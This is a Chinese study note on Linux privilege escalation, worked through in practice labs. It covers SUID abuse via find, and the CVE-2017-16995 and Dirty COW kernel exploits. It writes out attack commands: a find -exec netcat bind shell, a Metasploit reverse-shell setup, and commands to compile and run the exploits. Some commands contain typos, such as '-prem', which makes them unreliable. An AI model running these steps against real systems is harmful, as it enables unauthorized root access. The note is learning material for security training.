目录
Linux提权本地配合内核漏洞演示-Mozhe(Ubuntu 16.04漏洞复现 CVE-2017-16995)
信息收集
LinEnum(通过webshell等权限将脚本上传至/tmp目录,该目录是一个临时目录,重启后会清空,一般是可以进行读写的),上传其他目录可能会因为权限不够而失败。
Linuxprivchecker是一个python文件,前期要收集服务器是否能够运行python文件。
重点是要使用chmod +x LinEnum为它赋权
两个漏洞探针:linux-exploit-suggester ,linux-exploit-suggester2(是一个pl脚本),两者各有优缺点,前者显示的信息比较详细,后者比较简洁,但是前者可能存在误报。
两个漏洞探针的下载地址为:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool
GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester
信息收集的作用:为后续的提权做准备
漏洞探针的作用:可以判定主机可能存在的漏洞
SUID
小迪老师这里演示的环境是-Aliyun(基于web权限,通过Linux提权SUID配合上脚本演示)
漏洞成因:chmod u+s给予了suid u-s删除了suid
执行过chmod u+s后,如果用户调用了这个程序会以root权限运行
提权过程:探针是否有suid(手工或者脚本)-特定SUID利用-吃瓜
使用以下命令的作用就是判断是否有SUID提权的可能性
find / -user root -prem -4000 -print 2>/dev/null
find / -prem -u=s -type f 2>/dev/null
find / -user root -prem -4000 -exec ls -ldb { } \;
凡是出现下列关键字,则证明可能存在SUID
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
- 参考链接:SUID Executables – Penetration Testing Lab
整个流程是:通过冰蝎来连接webshell,打开MSF启动监听,在冰蝎上选择反弹shell窗口,启动msfconsole,之后use exploit/multi/handler ,设置payload(set payload php/meterpreter/reserse_tcp)设置一下rhost以及rport,之后就是点击冰蝎的“给我连”,成功连接会话,可以通过使用getuid来看一下此时的权限,显示的是(www-data),此时便可以将信息收集脚本上传至MSF然后再通过msf上传至目标服务器,这里也可以通过冰蝎的文件管理系统进行上传。上传至上面说的/tmp目录下面,执行文件,可能会发现没有执行权限,我们还是通过chmod +x 来赋予执行权限,在进行文件的执行。
发现了find。 通过上面的文章,我们知道了find是存在着SUID提权的,
touch xiaodi
find xiaodi -exec whoami \;
find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;
netcat xx.xx.xx.xx 5555
之后通过getuid的命令查看是否成功提权即可。
Linux提权本地配合内核漏洞演示-Mozhe(Ubuntu 16.04漏洞复现 CVE-2017-16995)
漏洞复现靶场地址:Ubuntu 16.04漏洞复现(CVE-2017-16995)_主机安全_在线靶场_墨者学院_专注于网络安全人才培养
漏洞背景
Ubuntu 16.04版本存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。
攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。
目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。
影响版本
Linux内核:Linux Kernel Version 4.4 ~ 4.14
Ubuntu版本:16.04.01~ 16.04.04
漏洞复现
首先打开靶场,通过Xshell远程连接目标主机。
之后就是通过xftp上传漏洞探针,这里使用的是linux-exploit-suggester2,上传至目标主机的tmp目录下。
之后通过perl来执行漏洞探针(linux-exploit-suggester2)
可以看到有CVE-2017-16695,这里可以通过wget去下载,我之前就已经在网上下载了对应的EXP,之后就是将exp上传至目标主机。
之后就是编译45010.c这个文件。
执行编译之后的文件45010
成功拿到root的权限。 之后便可以查看一下根目录有哪些文件,发现了key.txt文件。
Linux脏牛内核漏洞
这里使用的是vulnhub上提供的环境。地址链接为:Lampião: 1 ~ VulnHub
将下载的压缩包,进行解压,得到如下的文件。
通过VM虚拟机直接打开.ovf文件即可。我们是无法通过密码直接进行登录的,不然直接拿到答案了。这里的攻击机使用了忍者的系统。先进行nmap进行扫描。当前的网段。
发现192.168.52.134这个是我们的目标。接下来就是通过nmap来扫描该主机的端口号。nmap -p 192.168.52.134
这里就发现了80和1898端口,尝试访问这两个端口。
在访问1898这个端口的时候,发现了搭建该网站的cms为 Drupal。
接下来就是在攻击机上使用msf,来搜索对应cms的漏洞,或者是直接在网上搜索cmd的漏洞
寻找对应的poc,是第四个,property权限嘛!
之后设置IP地址和端口号,分别对应目标主机的ip地址和端口号。
查看当前的用户的权限。
得到了一个web权限,接下来就是将漏洞探针文件上传至目标主机的操作了。
这里出现了问题,始终不能执行这个文件不知为什么,爆出了这样的错误。有明白的大佬,恳请大佬指导一下。
(这里我还以为是系统的问题,又换成了kali)
继续往下做吧。这里给出了exp。相关的exp下载地址为https://www.exploit-db.com/download/40847https://www.exploit-db.com/download/40847
这里下载下来是一个cpp文件,然后上传到目标主机。哎,我后面一直在报这个错误,搞不懂,百度半天也没找到原因。
这里就没办法继续进行了,整理一下下面的知识点吧。
编译40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
接下来就是通过pty.spawn启用一个交互式shell
python -c'import pty;pty.spawn("/bin/bash")'
./40847 执行编译后的文件
便可以拿到root的权限。
上面出现的原因,还恳请知道原因的大佬告诉我。非常感谢!